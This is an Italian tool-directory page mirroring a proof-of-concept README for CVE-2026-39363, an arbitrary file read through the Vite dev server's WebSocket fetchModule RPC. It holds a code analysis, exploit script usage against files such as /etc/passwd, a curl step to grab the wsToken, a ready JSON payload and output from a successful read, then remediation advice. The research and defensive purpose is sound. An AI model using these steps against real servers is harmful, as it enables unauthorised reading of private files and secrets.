Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/firebasky/cve-2026-39363
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubfirebasky/cve-2026-39363

CVE-2026-39363

Exploit per CVE-2026-39363, una vulnerabilità di lettura arbitraria di file WebSocket del Vite Dev Server, con script Python e Node.js per lo sfruttamento automatizzato e passaggi manuali.

Vedi Repository
74 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-39363

Vulnerabilità di Lettura Arbitraria di File tramite WebSocket nel Vite Dev Server

Panoramica della Vulnerabilità

ProprietàInformazioni
ID CVECVE-2026-39363
ID GHSAGHSA-p9ff-h696-f583
Tipo di VulnerabilitàArbitrary File Read (Lettura Arbitraria di File)
Componente InteressatoVite Dev Server
Versioni InteressateVite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Punteggio CVSSAlto
Versioni CorretteVite >= 6.2.3

Principio della Vulnerabilità

Problema Principale

La chiamata RPC WebSocket fetchModule del Vite Dev Server presenta una vulnerabilità di bypass dei controlli di sicurezza.

Analisi del Codice

Posizione del Codice Vulnerabile: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

root@kitploit:~
async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // Punto critico della vulnerabilità: quando l'URL è file:// o non c'è importer
  // viene chiamato direttamente resolveId, senza eseguire il controllo isFileServingAllowed!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...continua l'elaborazione e restituisce il contenuto del file
}

Confronto dei Percorsi di Richiesta

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│              Percorso Richiesta HTTP (con controlli di sicurezza)│
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOCCATO                          │
│  (controlla server.fs.allow)                                    │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│              Percorso Richiesta WebSocket (bypass dei controlli) │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> resolveId diretto                │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> dipende dalla configurazione fs.allow│
│         │                                                       │
│         ▼                                                       │
│  Restituisce il contenuto del file (se fs.allow lo consente)    │
└─────────────────────────────────────────────────────────────────┘

Risultati Chiave

  1. Percorso HTTP: attraversa più livelli di controllo ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed

  2. Percorso WebSocket:

    • La funzione fetchModule non chiama isFileServingAllowed
    • La seconda linea di difesa, isFileLoadingAllowed in loadAndTransform, rimane attiva
    • Ma se la configurazione server.fs.allow è permissiva, è possibile leggere file arbitrari

Condizioni di Sfruttamento

  1. Vite Dev Server esposto sulla rete (ad esempio usando --host)
  2. Configurazione permissiva di server.fs.allow:
    • fs.allow: ['..'] - consente la lettura delle directory superiori
    • fs.allow: ['C:/'] - consente la lettura dell'intero disco C
    • fs.strict: false - nessuna restrizione
  3. Ottenere il wsToken (accedendo a /@vite/client)

Configurazione dell'Ambiente

root@kitploit:~
# Clonare il repository
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# Installare le dipendenze
npm install

# Avviare il Vite Dev Server (usando una configurazione permissiva per dimostrare la vulnerabilità)
npm run dev

Sfruttamento della Vulnerabilità

Metodo 1: Utilizzo dello Script Python

root@kitploit:~
# Utilizzo di base (rilevamento automatico della porta)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# Lettura di file esterni al progetto
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# Specificare il token
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

Metodo 2: Utilizzo del POC Node.js

root@kitploit:~
# Ottenere il wsToken
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# Eseguire il POC
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

Passaggi di Sfruttamento Manuale

  1. Ottenere il WebSocket Token:
root@kitploit:~
curl -s "http://target:5173/@vite/client" | grep wsToken
  1. Connessione WebSocket:
root@kitploit:~
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
  1. Inviare il payload:
root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

Dimostrazione

root@kitploit:~
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

Struttura dei File

root@kitploit:~
CVE-2026-39363/
├── README.md           # Documento di analisi della vulnerabilità
├── exp.py              # Script exploit Python
├── poc.js              # POC Node.js
├── vite.config.js      # File di configurazione Vite (per la dimostrazione)
├── package.json        # Configurazione del progetto
├── src/                # Directory del codice sorgente
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # Risorse statiche
└── index.html          # HTML di ingresso

Raccomandazioni per la Correzione

1. Aggiornare Vite

root@kitploit:~
npm update vite
# oppure
npm install vite@latest

2. Limitare server.fs.allow

root@kitploit:~
// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // consentire solo la directory root del progetto
    }
  }
})

3. Non Esporre il Dev Server

  • Non eseguire il Dev Server in ambiente di produzione
  • Evitare l'uso di --host per esporre il servizio
  • Utilizzare un firewall per limitare l'accesso

Riferimenti

  • GHSA-p9ff-h696-f583
  • CVE-2026-39363
  • Documentazione Vite

Disclaimer

Questo progetto è destinato esclusivamente a scopi di ricerca sulla sicurezza e didattici. Non utilizzare questo codice di sfruttamento per attività illegali. Prima di testare con questo codice, assicurarsi di aver ottenuto l'autorizzazione esplicita del proprietario del sistema di destinazione.

Licenza

Licenza MIT

Scarica lo strumento